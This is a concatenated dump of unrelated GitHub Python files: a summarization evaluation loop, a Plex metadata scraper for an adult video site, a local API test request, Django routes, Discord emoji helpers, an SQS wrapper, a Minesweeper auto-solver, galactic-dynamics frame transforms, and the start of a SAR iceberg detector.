tokenize_plots=logits # 얘는 generate으로 생성한 거임. 왜 encoder와 decoder가 실행 방식이 다른지는 모르겟음\n for token in tokenize_plots:\n plots.append(tokenizer.decode(token))\n\n return logits,plots\n\ndef make_Plot(encoder_model,higher_plot,origin_summary):\n #logits = []\n logits=encoder_model({'input_ids':higher_plot},training=False)\n #for p in higher_plot:\n # logits.append(encoder_model({'input_ids' : tf.expand_dims(p,axis=0)}))\n \n plots=[]\n #tokenize_plots=[]\n #print(logits)\n #tokenize_plots=tf.argmax(logits,axis=2,output_type=tf.int64)\n tokenize_plots=logits\n for token in tokenize_plots:\n #print(logit)\n #print(tf.argmax(logit,axis=2))\n #print(token)\n plots.append(tokenizer.decode(token))\n \n return logits,tokenize_plots,plots\n\nf3= open(strategy+str(START_ALPHA)+'/valid_results_with_scores.csv', 'w', newline='')\nf4= open(strategy+str(START_ALPHA)+'/valid_scores_only.csv','w',newline='')\nwr3=csv.writer(f3)\nwr3.writerow(['orig_article','orig_summary','gen_article','gen_summary','art_rouge','art_bleu','sum_rouge','sum_bleu'])\nwr4=csv.writer(f4)\nwr4.writerow(['art_rouge','art_bleu','sum_rouge','sum_bleu']) # bleu와 rouge score만 따로 저장하는 파일.\n# # inp -> long sentences, tar -> summary\nfor (batch, set) in enumerate(tqdm(tf_validation_dataset)):\n plot_logits,tokenize_summary,summary=make_Plot(my_bart_encoder,set[0]['input_ids'],set[0]['decoder_input_ids'])\n exp_logits,expansion=plot_Expansion(my_bart_decoder,tokenize_summary,set[0]['input_ids'])\n #print(\"generated summary : \")\n #print(summary)\n #print(\"generated article : \")\n #print(expansion)\n \n art_rouge = rouge.get_scores([tokenizer.decode(set[0]['input_ids'][0])],[expansion[0]])\n art_bleu = sentence_bleu([tokenizer.decode(set[0]['input_ids'][0])], expansion[0])\n sum_rouge = rouge.get_scores([tokenizer.decode(set[0]['decoder_input_ids'][0])],[summary[0]])\n sum_bleu = sentence_bleu([tokenizer.decode(set[0]['decoder_input_ids'][0])],summary[0])\n wr3.writerow([tokenizer.decode(set[0]['input_ids'][0]), tokenizer.decode(set[0]['decoder_input_ids'][0]),expansion[0],summary[0],art_rouge,art_bleu,sum_rouge,sum_bleu])\n wr4.writerow([art_rouge,art_bleu,sum_rouge,sum_bleu]) # 차원이 다르므로 loss는 불가하다.\n\n #wr4.writerow([float(summary_loss(set[0]['decoder_input_ids'],plot_logits)),float(summary_accuracy_function(set[0]['decoder_input_ids'],plot_logits)),float(reconstruction_loss(set[0]['input_ids'],exp_logits)),float(reconstruction_accuracy_function(set[0]['input_ids'],exp_logits))])\n \n #print(f'Batch {batch} Summary Loss ' + str(summary_loss(set[0]['decoder_input_ids'],plot_logits)) + \" Recon Loss \" + str(reconstruction_loss(set[0]['input_ids'],exp_logits)) + 'Summary Accuracy : ' + str(summary_accuracy_function(set[0]['decoder_input_ids'],plot_logits)) + 'Recons Accuracy ' + str(reconstruction_accuracy_function(set[0]['input_ids'],exp_logits))) \n \n\n\n","repo_name":"Kyeongman-header/midintern2022","sub_path":"old_model.py","file_name":"old_model.py","file_ext":"py","file_size_in_byte":22372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"14888947355","text":"# SeanCody\r\nimport re, os, platform, simplejson as json\r\n\r\nPLUGIN_LOG_TITLE = 'Sean Cody' # Log Title\r\n\r\nVERSION_NO = '2017.07.26.0'\r\n\r\n# Delay used when requesting HTML, may be good to have to prevent being\r\n# banned from the site\r\nREQUEST_DELAY = 0\r\n\r\n# URLS\r\nBASE_URL = 'https://www.seancody.com%s'\r\n\r\n# Example Tour URL\r\n# http://www.seancody.com/tour/movie/9291/brodie-cole-bareback/trailer/\r\nBASE_TOUR_MOVIE_URL = 'http://www.seancody.com/tour/movie/%s/%s/trailer'\r\n\r\n# File names to match for this agent\r\nmovie_pattern = re.compile(Prefs['regex'])\r\n\r\ndef Start():\r\n\tHTTP.CacheTime = CACHE_1WEEK\r\n\tHTTP.Headers['User-agent'] = 'Mozilla/4.0 (compatible; MSIE 8.0; ' \\\r\n\t\t'Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; ' \\\r\n\t\t'.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)'\r\n\r\nclass SeanCody(Agent.Movies):\r\n\tname = 'Sean Cody'\r\n\tlanguages = [Locale.Language.NoLanguage, Locale.Language.English]\r\n\tprimary_provider = False\r\n\tfallback_agent = ['com.plexapp.agents.gayporncollector']\r\n\tcontributes_to = ['com.plexapp.agents.cockporn']\r\n\r\n\tdef Log(self, message, *args):\r\n\t\tif Prefs['debug']:\r\n\t\t\tLog(PLUGIN_LOG_TITLE + ' - ' + message, *args)\r\n\r\n\tdef search(self, results, media, lang, manual):\r\n\t\tself.Log('-----------------------------------------------------------------------')\r\n\t\tself.Log('SEARCH CALLED v.%s', VERSION_NO)\r\n\t\tself.Log('SEARCH - Platform: %s %s', platform.system(), platform.release())\r\n\t\tself.Log('SEARCH - media.title - %s', media.title)\r\n\t\tself.Log('SEARCH - media.items[0].parts[0].file - %s', media.items[0].parts[0].file)\r\n\t\tself.Log('SEARCH - media.primary_metadata.title - %s', media.primary_metadata.title)\r\n\t\tself.Log('SEARCH - media.items - %s', media.items)\r\n\t\tself.Log('SEARCH - media.filename - %s', media.filename)\r\n\t\tself.Log('SEARCH - lang - %s', lang)\r\n\t\tself.Log('SEARCH - manual - %s', manual)\r\n\t\tself.Log('SEARCH - Prefs->cover - %s', Prefs['cover'])\r\n\t\tself.Log('SEARCH - Prefs->folders - %s', Prefs['folders'])\r\n\t\tself.Log('SEARCH - Prefs->regex - %s', Prefs['regex'])\r\n\r\n\t\tif not media.items[0].parts[0].file:\r\n\t\t\treturn\r\n\r\n\t\tpath_and_file = media.items[0].parts[0].file.lower()\r\n\t\tself.Log('SEARCH - File Path: %s', path_and_file)\r\n\r\n\t\t(file_dir, basename) = os.path.split(os.path.splitext(path_and_file)[0])\r\n\t\tfinal_dir = os.path.split(file_dir)[1]\r\n\r\n\t\tself.Log('SEARCH - Enclosing Folder: %s', final_dir)\r\n\r\n\t\tif Prefs['folders'] != \"*\":\r\n\t\t\tfolder_list = re.split(',\\s*', Prefs['folders'].lower())\r\n\t\t\tif final_dir not in folder_list:\r\n\t\t\t\tself.Log('SEARCH - Skipping %s because the folder %s is not in the acceptable folders list: %s', basename, final_dir, ','.join(folder_list))\r\n\t\t\t\treturn\r\n\r\n\t\tm = movie_pattern.search(basename)\r\n\t\tif not m:\r\n\t\t\tself.Log('SEARCH - Skipping %s because the file name is not in the expected format.', basename)\r\n\t\t\treturn\r\n\r\n\t\tself.Log('SEARCH - File Name: %s' % basename)\r\n\t\tself.Log('SEARCH - Split File Name: %s' % basename.split(' '))\r\n\r\n\t\tgroups = m.groupdict()\r\n\t\tmovie_url_name = re.sub('[^a-z0-9\\-]', '', re.sub(' +', '-', groups['clip_name']))\r\n\t\tmovie_url = BASE_TOUR_MOVIE_URL + groups['clip_number'] + movie_url_name\r\n\r\n\t\tself.Log('SEARCH - Video URL: %s' % movie_url)\r\n\t\ttry:\r\n\t\t\thtml = HTML.ElementFromURL(movie_url, sleep=REQUEST_DELAY)\r\n\t\texcept:\r\n\t\t\tself.Log(\"SEARCH - Title not found: %s\" % movie_url)\r\n\t\t\treturn\r\n\r\n\t\tmovie_name = html.xpath('//*[@id=\"player-wrapper\"]/div/h1/text()')[0]\r\n\t\tself.Log('SEARCH - title: %s' % movie_name)\r\n\t\tresults.Append(MetadataSearchResult(id=movie_url, name=movie_name, score=100, lang=lang))\r\n\t\treturn\r\n\r\n\tdef fetch_summary(self, html, metadata):\r\n\t\traw_about_text = html.xpath('//*[@id=\"description\"]/p')\r\n\t\tself.Log('UPDATE - About Text - RAW %s', raw_about_text)\r\n\t\tabout_text = ' '.join(str(x.text_content().strip()) for x in raw_about_text)\r\n\t\tmetadata.summary = about_text\r\n\r\n\tdef fetch_release_date(self, html, metadata):\r\n\t\trelease_date = html.xpath('//*[@id=\"player-wrapper\"]/div/span/time/text()')[0].strip()\r\n\t\tself.Log('UPDATE - Release Date - New: %s' % release_date)\r\n\t\tmetadata.originally_available_at = Datetime.ParseDate(release_date).date()\r\n\t\tmetadata.year = metadata.originally_available_at.year\r\n\r\n\tdef fetch_roles(self, html, metadata):\r\n\t\tmetadata.roles.clear()\r\n\t\thtmlcast = html.xpath('//*[@id=\"scroll\"]/div[2]/ul[2]/li/a/span/text()')\r\n\t\tself.Log('UPDATE - cast: \"%s\"' % htmlcast)\r\n\t\tfor cast in htmlcast:\r\n\t\t\tcname = cast.strip()\r\n\t\t\tif (len(cname) > 0):\r\n\t\t\t\trole = metadata.roles.new()\r\n\t\t\t\trole.name = cname\r\n\r\n\tdef fetch_genre(self, html, metadata):\r\n\t\tmetadata.genres.clear()\r\n\t\tgenres = html.xpath('//*[@id=\"scroll\"]/div[2]/ul[1]/li/a/text()')\r\n\t\tself.Log('UPDATE - video_genres: \"%s\"' % genres)\r\n\t\tfor genre in genres:\r\n\t\t\tgenre = genre.strip()\r\n\t\t\tif (len(genre) > 0):\r\n\t\t\t\tmetadata.genres.add(genre)\r\n\r\n\tdef fetch_gallery(self, html, metadata):\r\n\t\ti = 0\r\n\r\n\t\t# convert the gallery source variable to parseable JSON and then\r\n\t\t# grab the useful bits out of it\r\n\t\tgallery_info = json.loads(html.xpath('/html/body/div[1]/div/div/section[2]/div/script/text()')[0].\r\n\t\t\treplace('\\n', '').\r\n\t\t\treplace('var gallerySource = ', '').\r\n\t\t\treplace('};', '}'))\r\n\r\n\t\ttry:\r\n\t\t\tcoverPrefs = int(Prefs['cover'])\r\n\t\texcept ValueError:\r\n\t\t\t# an absurdly high number means \"download all the things\"\r\n\t\t\tcoverPrefs = 10000\r\n\r\n\t\tthumb_path = gallery_info['thumb']['path']\r\n\t\tthumb_hash = gallery_info['thumb']['hash']\r\n\t\tposter_path = gallery_info['fullsize']['path']\r\n\t\tposter_hash = gallery_info['fullsize']['hash']\r\n\t\tgallery_length = int(gallery_info['length'])\r\n\t\tvalid_image_names = []\r\n\r\n\t\tfor i in xrange(1, gallery_length + 1):\r\n\t\t\tif i > coverPrefs:\r\n\t\t\t\tbreak\r\n\r\n\t\t\tthumb_url = \"%s%02d.jpg%s\" % (thumb_path, i, thumb_hash)\r\n\t\t\tposter_url = \"%s%02d.jpg%s\" % (poster_path, i, poster_hash)\r\n\r\n\t\t\tvalid_image_names.append(poster_url)\r\n\t\t\tif poster_url not in metadata.posters:\r\n\t\t\t\ttry:\r\n\t\t\t\t\ti += 1\r\n\t\t\t\t\tmetadata.posters[poster_url] = Proxy.Preview(HTTP.Request(thumb_url), sort_order=i)\r\n\t\t\t\texcept:\r\n\t\t\t\t\tpass\r\n\r\n\t\treturn valid_image_names\r\n\r\n\tdef update(self, metadata, media, lang, force=False):\r\n\t\tself.Log('UPDATE CALLED')\r\n\r\n\t\tif not media.items[0].parts[0].file:\r\n\t\t\treturn\r\n\r\n\t\tfile_path = media.items[0].parts[0].file\r\n\t\tself.Log('UPDATE - File Path: %s', file_path)\r\n\t\tself.Log('UPDATE - Video URL: %s', metadata.id)\r\n\r\n\t\t# Fetch HTML\r\n\t\thtml = HTML.ElementFromURL(metadata.id, sleep=REQUEST_DELAY)\r\n\r\n\t\t# Set tagline to URL\r\n\t\tmetadata.tagline = metadata.id\r\n\r\n\t\t# The Title\r\n\t\tvideo_title = html.xpath('//*[@id=\"player-wrapper\"]/div/h1/text()')[0]\r\n\r\n\t\t# Try to get description text\r\n\t\ttry:\r\n\t\t\tself.fetch_summary(html, metadata)\r\n\t\texcept:\r\n\t\t\tpass\r\n\r\n\t\t# Try to get release date\r\n\t\ttry:\r\n\t\t\tself.fetch_release_date(html, metadata)\r\n\t\texcept:\r\n\t\t\tpass\r\n\r\n\t\t# Try to get and process the video cast\r\n\t\ttry:\r\n\t\t\tself.fetch_roles(html, metadata)\r\n\t\texcept:\r\n\t\t\tpass\r\n\r\n\t\t# Try to get and process the video genres\r\n\t\ttry:\r\n\t\t\tself.fetch_genres(html, metadata)\r\n\t\texcept:\r\n\t\t\tpass\r\n\r\n\t\tvalid_image_names = self.fetch_gallery(html, metadata)\r\n\t\tmetadata.posters.validate_keys(valid_image_names)\r\n\r\n\t\tmetadata.content_rating = 'X'\r\n\t\tmetadata.title = video_title\r\n\t\tmetadata.studio = \"Sean Cody\"\r\n","repo_name":"OmicronTheta/pgma","sub_path":"SeanCody.bundle/Contents/Code/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7198,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"23952862164","text":"import requests\n\n\nurl = \"http://192.168.1.111:10050/product/skuFiles/productInfo/add\"\n\npayload={'seriesnameId': '708',\n'sku' : 'kk789789',\n'tag': '',\n'codeNumber': '101010100088',\n'changes': '',\n'nameRule': '',\n'country': '',\n'picture': '',\n'designer': '',\n'notes': '',\n'memo': ''}\nfiles=[\n\n]\nheaders = {\n 'Cookie': 'JSESSIONID=62ab10d3-09ae-4df6-ba05-3fdd60528201'\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload, files=files)\n\nprint(response.text)\n","repo_name":"englishmarco/pythonProject","sub_path":"test_002.py","file_name":"test_002.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23403878819","text":"from django.urls import include, path\nfrom rest_framework.routers import DefaultRouter\n\nfrom .views import PollViewSet, QuestionViewSet, VoteViewSet\n\nrouter_v1 = DefaultRouter()\nrouter_v1.register(r'questions', QuestionViewSet, basename='questions')\nrouter_v1.register(r'polls', PollViewSet, basename='polls')\nrouter_v1.register(r'votes', VoteViewSet, basename='votes')\n\nurlpatterns = [\n path('v1/', include(router_v1.urls)),\n]\n","repo_name":"kudinov-prog/api_polls_questions","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"20604193988","text":"import discord\nfrom FuzzySearchPy import FuzzySearch\nfrom typing import List\n\nsearch_options = {\"sort\": True, \"caseSensitive\": False}\n\n\ndef get_emojis(client, server, emote_names):\n server: discord.Guild = server\n\n emojis = []\n server_emojis = get_emojis_from_server(server)\n other_emojis = get_all_emojis(client, server)\n server_emoji_searcher = FuzzySearch(server_emojis, [\"name\"], search_options)\n other_emoji_searcher = FuzzySearch(other_emojis, [\"name\"], search_options)\n for emote_name in emote_names:\n emoji = None\n if server is not None:\n emoji = discord.utils.get(server.emojis, name=emote_name)\n if emoji is None:\n possible_emojis = server_emoji_searcher.search(emote_name)\n if len(possible_emojis) >= 1:\n emoji = possible_emojis[0][\"emoji\"]\n else:\n possible_emojis = other_emoji_searcher.search(emote_name)\n if len(possible_emojis) >= 1:\n print(possible_emojis)\n emoji = possible_emojis[0][\"emoji\"]\n if emoji:\n emojis.append(emoji)\n return emojis\n\n\ndef get_all_emojis(client, exclude=None):\n emoji_list = []\n servers: List[discord.Guild] = client.guilds\n for server in servers:\n if exclude is None or server.id != exclude.id:\n emoji_list += list(server.emojis)\n return [{\"name\": e.name, \"emoji\": e} for e in emoji_list]\n\n\ndef get_emojis_from_server(server):\n if server is None:\n return []\n server: discord.Guild = server\n return [{\"name\": e.name, \"emoji\": e} for e in server.emojis]\n\n\nasync def remove_reactions(reactions_to_clear, user):\n for react in reactions_to_clear:\n msg: discord.Message = react[0]\n reaction: discord.Emoji = react[1]\n try:\n await msg.remove_reaction(reaction, user)\n except:\n # do nothing message was probably deleted\n pass\n\n\ndef has_reaction(message, reaction):\n message: discord.Message\n reaction: discord.Emoji\n for react in message.reactions:\n if react.emoji == reaction:\n return True\n return False\n","repo_name":"doomium-chloride/dotdrek","sub_path":"helpers/emoji.py","file_name":"emoji.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71761598948","text":"from contextlib import asynccontextmanager\nfrom typing import AsyncIterator, Optional\n\nimport boto3\nfrom starlette.concurrency import run_in_threadpool\n\nfrom async_processor.types import (\n Input,\n InputFetchAckFailure,\n InputMessageFetchFailure,\n Output,\n SQSInputConfig,\n SQSOutputConfig,\n)\n\n\nclass SQSInput(Input):\n def __init__(self, config: SQSInputConfig):\n self._queue_url = config.queue_url\n self._visibility_timeout = config.visibility_timeout\n self._wait_time_seconds = config.wait_time_seconds\n self._sqs = boto3.client(\n \"sqs\",\n **(config.auth.dict() if config.auth else {}),\n region_name=config.region_name,\n )\n\n @asynccontextmanager\n async def get_input_message(\n self,\n ) -> AsyncIterator[Optional[str]]:\n try:\n # Move this to its own thread and queue model later\n response = await run_in_threadpool(\n self._sqs.receive_message,\n QueueUrl=self._queue_url,\n AttributeNames=[\"All\"],\n MaxNumberOfMessages=1,\n MessageAttributeNames=[\"All\"],\n WaitTimeSeconds=self._wait_time_seconds,\n VisibilityTimeout=self._visibility_timeout,\n )\n except Exception as ex:\n raise InputMessageFetchFailure() from ex\n messages = response.get(\"Messages\", [])\n if len(messages) == 0:\n yield None\n return\n for msg in messages:\n receipt_handle = msg[\"ReceiptHandle\"]\n try:\n yield msg[\"Body\"]\n finally:\n try:\n await run_in_threadpool(\n self._sqs.delete_message,\n QueueUrl=self._queue_url,\n ReceiptHandle=receipt_handle,\n )\n except Exception as ex:\n raise InputFetchAckFailure() from ex\n\n async def publish_input_message(\n self, serialized_input_message: bytes, request_id: str\n ):\n await run_in_threadpool(\n self._sqs.send_message,\n QueueUrl=self._queue_url,\n MessageBody=serialized_input_message.decode(\"utf-8\"),\n )\n\n\nclass SQSOutput(Output):\n def __init__(self, config: SQSOutputConfig):\n self._queue_url = config.queue_url\n\n self._sqs = boto3.client(\n \"sqs\",\n **(config.auth.dict() if config.auth else {}),\n region_name=config.region_name,\n )\n\n async def publish_output_message(\n self, serialized_output_message: bytes, request_id: Optional[str]\n ):\n await run_in_threadpool(\n self._sqs.send_message,\n QueueUrl=self._queue_url,\n MessageBody=serialized_output_message.decode()\n if isinstance(serialized_output_message, bytes)\n else serialized_output_message,\n )\n","repo_name":"truefoundry/async_service","sub_path":"async_processor/sqs_pub_sub.py","file_name":"sqs_pub_sub.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"18160977431","text":"import pyautogui\nimport random\nfrom tkinter import DISABLED\nimport time\n\n# 1440x900\n# formula for coords\n# (x*bx)+(bx//2)+450, (y*by)+(by*2)\n\n# rules for alg\n# -if no of dirt around no is equal to no, then flag that dirt\n# -if no of flags is equal to no and dirt is more than no, then dig all dirt except flags\n\n\ndef solve(game, diff):\n Y, X = len(game.field), len(game.field[0])\n by, bx = game.dirt[0][0].winfo_height(), game.dirt[0][0].winfo_width()\n\n def moveto(d, ret=False):\n l = d.grid_info()\n r, c = l['row'], l['column']\n if diff == 0:\n pyautogui.moveTo((c*bx)+(bx//2)+450, (r*by)+(by*2))\n elif diff == 1:\n pyautogui.moveTo((c*bx)+(bx//2)+292, (r*by)+(by*2))\n if ret:\n return [r, c]\n\n def mineandflag(y, x):\n change = False\n if game.field[y][x]['text'] != 'BOOM':\n ndirt = 0\n dirt = []\n # print('in dirt collection')\n for a in range(-1, 2):\n for b in range(-1, 2):\n i, j = y+a, x+b\n if (i >= 0) and (i < Y) and (j >= 0) and (j < X):\n try:\n game.root.update()\n if (len(game.dirt[i][j].grid_info()) != 0) and (len(game.field[i][j].grid_info()) == 0):\n # print(i, j)\n # print(game.dirt[i][j].grid_info())\n # print(game.field[i][j].grid_info())\n dirt.append(game.dirt[i][j])\n ndirt += 1\n except IndexError:\n continue\n # print()\n\n n = int(game.field[y][x]['text'])\n if ndirt == n:\n for d in dirt:\n if d['highlightbackground'] != 'red':\n change = True\n moveto(d)\n d['highlightbackground'] = 'red'\n # time.sleep(0.2)\n game.root.update()\n else:\n nf = 0\n for d1 in dirt:\n if d1['highlightbackground'] == 'red':\n nf += 1\n if nf == n:\n # print('in mining part')\n # print(y, x)\n # print(ndirt)\n # for test in dirt:\n # print(test)\n # print(test.grid_info())\n # print()\n for d2 in dirt:\n if d2['highlightbackground'] != 'red':\n change = True\n if len(d2.grid_info()) != 0:\n c = moveto(d2, True)\n game.click(c[0], c[1])\n # time.sleep(0.2)\n game.root.update()\n\n return change\n\n while not game.over:\n change = False\n for i in range(Y):\n for j in range(X):\n if (len(game.dirt[i][j].grid_info()) == 0) and (game.field[i][j]['text'] != 0):\n c = mineandflag(i, j)\n if c and not change:\n change = True\n\n if game.over:\n break\n\n if not change:\n i, j = random.randint(0, Y-1), random.randint(0, X-1)\n while (len(game.dirt[i][j].grid_info()) == 0) or (game.dirt[i][j]['highlightbackground'] == 'red'):\n i, j = random.randint(0, Y - 1), random.randint(0, X - 1)\n print(i, j)\n if diff == 0:\n pyautogui.moveTo((j*bx)+(bx//2)+450, (i*by)+(by*2))\n elif diff == 1:\n pyautogui.moveTo((j*bx)+(bx//2)+292, (i*by)+(by*2))\n game.click(i, j)\n game.root.update()\n","repo_name":"shash123-d/games","sub_path":"Minesweeper/alg.py","file_name":"alg.py","file_ext":"py","file_size_in_byte":3903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41958191400","text":"# Problem: 169. Majority Element\n# URL: https://leetcode.com/problems/majority-element/\n# Difficulty: Easy\n# Tags: Array\n\nfrom typing import List\n\nclass Solution:\n def majorityElement(self, nums: List[int]) -> int:\n count: int = 0\n candidate: int = 0\n for num in nums:\n if (count == 0):\n candidate = num\n count += 1 if num == candidate else -1\n return candidate","repo_name":"lidek213/LeetCode_Practice","sub_path":"python/Problem169.py","file_name":"Problem169.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21616661649","text":"from datetime import datetime\n\nfrom bson import ObjectId\nfrom fastapi.encoders import jsonable_encoder\n\nfrom src.repository.crud.base import BaseCRUDRepository\nfrom src.repository.serializers.blog import serialize_blog\nfrom src.schema.blog import BlogBaseSchema\n\n\nclass BlogCRUDRepository(BaseCRUDRepository):\n def __init__(self, collection_name) -> None:\n super().__init__(collection_name)\n\n async def create_blog(self, blog_data: dict[str, str]) -> dict[str, str | datetime | ObjectId | None]:\n jsonified_blog_data = jsonable_encoder(obj=BlogBaseSchema(**blog_data)) # type: ignore\n registered_blog = await self.collection.insert_one(jsonified_blog_data) # type: ignore\n db_blog = await self.collection.find_one({\"_id\": registered_blog.inserted_id}) # type: ignore\n return serialize_blog(blog=db_blog)\n\n async def read_all(self) -> list[dict[str, str | datetime | ObjectId | None]]:\n db_blogs = await self.collection.find({\"$query\": {}, \"$orderby\": {\"createdAt\": -1}}).to_list(25) # type: ignore\n jsonified_blogs = list()\n for blog in db_blogs:\n jsonified_blogs.append(serialize_blog(blog=blog))\n return jsonified_blogs\n\n async def read_blog_by_id(self, id: str) -> dict[str, str | datetime | ObjectId | None]:\n db_blog = await self.collection.find_one({\"_id\": id}) # type: ignore\n print(db_blog)\n if not db_blog:\n raise Exception(f\"Blog with ID `{id}` is not found!\")\n return serialize_blog(blog=db_blog)\n\n async def delete_blog_by_id(self, id: str) -> bool:\n db_blog = await self.collection.find_one({\"_id\": jsonable_encoder(obj=id)}) # type: ignore\n if not db_blog:\n raise Exception(f\"Blog with ID `{id}` is not found!\")\n\n deleted_blog = await self.collection.delete_one({\"_id\": db_blog[\"_id\"]}) # type: ignore\n if not deleted_blog:\n raise Exception(f\"Blog deletion failed!\")\n return True\n","repo_name":"NewerKey/Blog","sub_path":"backend/src/repository/crud/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"11292581534","text":"# Third-party\nfrom astropy.utils.misc import isiterable\nimport numpy as np\n\n# Gala\nfrom gala.dynamics import Orbit\nfrom gala.units import DimensionlessUnitSystem\n\n__all__ = ['static_to_constantrotating', 'constantrotating_to_static']\n\n\ndef rodrigues_axis_angle_rotate(x, vec, theta):\n \"\"\"\n Rotated the input vector or set of vectors `x` around the axis\n `vec` by the angle `theta`.\n\n Parameters\n ----------\n x : array_like\n The vector or array of vectors to transform. Must have shape\n\n\n \"\"\"\n x = np.array(x).T\n vec = np.array(vec).T\n theta = np.array(theta).T[..., None]\n\n out = np.cos(theta)*x + np.sin(theta) * np.cross(vec, x) + \\\n (1 - np.cos(theta)) * (vec * x).sum(axis=-1)[..., None] * vec\n\n return out.T\n\n\ndef z_angle_rotate(xy, theta):\n \"\"\"\n Rotated the input vector or set of vectors `xy` by the angle `theta`.\n\n Parameters\n ----------\n xy : array_like\n The vector or array of vectors to transform. Must have shape\n\n\n \"\"\"\n xy = np.array(xy).T\n theta = np.array(theta).T\n\n out = np.zeros_like(xy)\n out[..., 0] = np.cos(theta)*xy[..., 0] - np.sin(theta)*xy[..., 1]\n out[..., 1] = np.sin(theta)*xy[..., 0] + np.cos(theta)*xy[..., 1]\n\n return out.T\n\n\ndef _constantrotating_static_helper(frame_r, frame_i, w, t=None, sign=1.):\n # TODO: use representation arithmetic instead\n Omega = -frame_r.parameters['Omega'].decompose(frame_i.units).value\n\n if not isinstance(w, Orbit) and t is None:\n raise ValueError(\"Time array must be provided if not passing an \"\n \"Orbit subclass.\")\n\n if t is None:\n t = w.t\n\n elif not hasattr(t, 'unit'):\n t = t * frame_i.units['time']\n\n if t is None:\n raise ValueError('Time must be supplied either through the input '\n 'Orbit class instance or through the t argument.')\n t = t.decompose(frame_i.units).value\n\n # HACK: this is a little bit crazy...this makes it so that !=3D\n # representations will work here\n if hasattr(w.pos, 'xyz'):\n pos = w.pos\n vel = w.vel\n else:\n cart = w.cartesian\n pos = cart.pos\n vel = cart.vel\n\n pos = pos.xyz.decompose(frame_i.units).value\n vel = vel.d_xyz.decompose(frame_i.units).value\n\n # get rotation angle, axis vs. time\n if isiterable(Omega): # 3D\n vec = Omega / np.linalg.norm(Omega)\n theta = np.linalg.norm(Omega) * t\n\n x_i2r = rodrigues_axis_angle_rotate(pos, vec, sign*theta)\n v_i2r = rodrigues_axis_angle_rotate(vel, vec, sign*theta)\n\n else: # 2D\n vec = Omega * np.array([0, 0, 1.])\n theta = sign * Omega * t\n\n x_i2r = z_angle_rotate(pos, theta)\n v_i2r = z_angle_rotate(vel, theta)\n\n return x_i2r * frame_i.units['length'], v_i2r * frame_i.units['length']/frame_i.units['time']\n\n\ndef static_to_constantrotating(frame_i, frame_r, w, t=None):\n \"\"\"\n Transform from an inertial static frame to a rotating frame.\n\n Parameters\n ----------\n frame_i : `~gala.potential.StaticFrame`\n frame_r : `~gala.potential.ConstantRotatingFrame`\n w : `~gala.dynamics.PhaseSpacePosition`, `~gala.dynamics.Orbit`\n t : quantity_like (optional)\n Required if input coordinates are just a phase-space position.\n\n Returns\n -------\n pos : `~astropy.units.Quantity`\n Position in rotating frame.\n vel : `~astropy.units.Quantity`\n Velocity in rotating frame.\n \"\"\"\n return _constantrotating_static_helper(frame_r=frame_r, frame_i=frame_i,\n w=w, t=t, sign=1.)\n\n\ndef constantrotating_to_static(frame_r, frame_i, w, t=None):\n \"\"\"\n Transform from a constantly rotating frame to a static, inertial frame.\n\n Parameters\n ----------\n frame_i : `~gala.potential.StaticFrame`\n frame_r : `~gala.potential.ConstantRotatingFrame`\n w : `~gala.dynamics.PhaseSpacePosition`, `~gala.dynamics.Orbit`\n t : quantity_like (optional)\n Required if input coordinates are just a phase-space position.\n\n Returns\n -------\n pos : `~astropy.units.Quantity`\n Position in static, inertial frame.\n vel : `~astropy.units.Quantity`\n Velocity in static, inertial frame.\n \"\"\"\n return _constantrotating_static_helper(frame_r=frame_r, frame_i=frame_i,\n w=w, t=t, sign=-1.)\n\n\ndef static_to_static(frame_r, frame_i, w, t=None):\n \"\"\"\n No-op transform\n\n Parameters\n ----------\n frame_i : `~gala.potential.StaticFrame`\n frame_r : `~gala.potential.ConstantRotatingFrame`\n w : `~gala.dynamics.PhaseSpacePosition`, `~gala.dynamics.Orbit`\n t : quantity_like (optional)\n Required if input coordinates are just a phase-space position.\n\n Returns\n -------\n pos : `~astropy.units.Quantity`\n Position in static, inertial frame.\n vel : `~astropy.units.Quantity`\n Velocity in static, inertial frame.\n \"\"\"\n tmp = [isinstance(frame_r.units, DimensionlessUnitSystem),\n isinstance(frame_i.units, DimensionlessUnitSystem)]\n if not all(tmp) and any(tmp):\n raise ValueError(\n \"StaticFrame to StaticFrame transformations are only allowed if \"\n \"both unit systems are physical, or both are dimensionless.\")\n return w.pos.xyz, w.vel.d_xyz\n","repo_name":"adrn/gala","sub_path":"gala/potential/frame/builtin/transformations.py","file_name":"transformations.py","file_ext":"py","file_size_in_byte":5346,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"70"} +{"seq_id":"15893501043","text":"import warnings\nimport scipy\nimport numpy as np\nfrom .utils import smells_like\nfrom .fast_functions import test_window, train_window\n\ndef _gengamma_minimize(t, gengamma_params, pde):\n return np.abs(scipy.stats.gengamma.cdf(t, *gengamma_params) - pde)\n\ndef transform(image, mask=0):\n \"\"\"\n Dual-Pol Ratio Anomaly Detector Transformation (DPolRAD)\n this function implements equation 2 in the paper\n A. Marino, W. Dierking, and C. Wesche,\n “A Depolarization Ratio Anomaly Detector to Identify Icebergs in Sea Ice Using Dual-Polarization SAR Images,”\n IEEE Trans. 